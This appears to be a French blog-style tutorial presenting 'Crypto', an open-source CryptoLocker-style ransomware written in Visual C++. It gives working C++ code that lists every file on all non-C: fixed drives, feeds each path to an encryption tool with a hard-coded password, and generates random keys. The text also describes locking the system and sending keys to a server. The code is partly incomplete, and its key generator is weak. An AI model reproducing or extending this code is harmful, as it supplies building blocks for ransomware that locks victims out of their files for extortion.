
CryptoLocker est un chiffreur de fichiers open source. Crypto est développé en Visual C++. Il permet de chiffrer tous les fichiers, de verrouiller le système et de renvoyer les clés au serveur. La fonctionnalité multithreadée aide cet outil à accélérer le chiffrement.
Crypto est un Crypto-Locker open source. Développé en Visual C++, il dispose de fonctionnalités pour chiffrer tous les fichiers, verrouiller le système et renvoyer les clés au serveur. La fonctionnalité multi-thread rend le chiffrement plus rapide.
Grâce à un puissant algorithme de chiffrement 256 bits, une fois qu'un fichier est chiffré, il est complètement inutile sans le mot de passe. Il ne peut tout simplement pas être lu.
Récupération de tous les fichiers de tous les lecteurs pour les chiffrer.
Voici un programme Visual C++ qui récupère la liste de tous les répertoires et fichiers d'un lecteur et enregistre le chemin dans un fichier texte pour un chiffrement ultérieur. J'utilise les bibliothèques Boost C++ pour obtenir la liste de tous les fichiers. Veuillez d'abord configurer les bibliothèques Boost pour compiler le programme.
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
Ici, je récupère d'abord chaque chemin de fichier depuis "data.txt" ligne par ligne et je l'envoie à cet outil de chiffrement avec le type de chiffrement et le mot de passe. Vous pouvez également intégrer tout ce programme dans la boucle supérieure pour récupérer le chemin et chiffrer les données de manière récursive.
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
Envoyez la longueur à la fonction et la fonction renvoie un mot de passe long et complexe généré que vous pouvez utiliser pour le chiffrement.
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}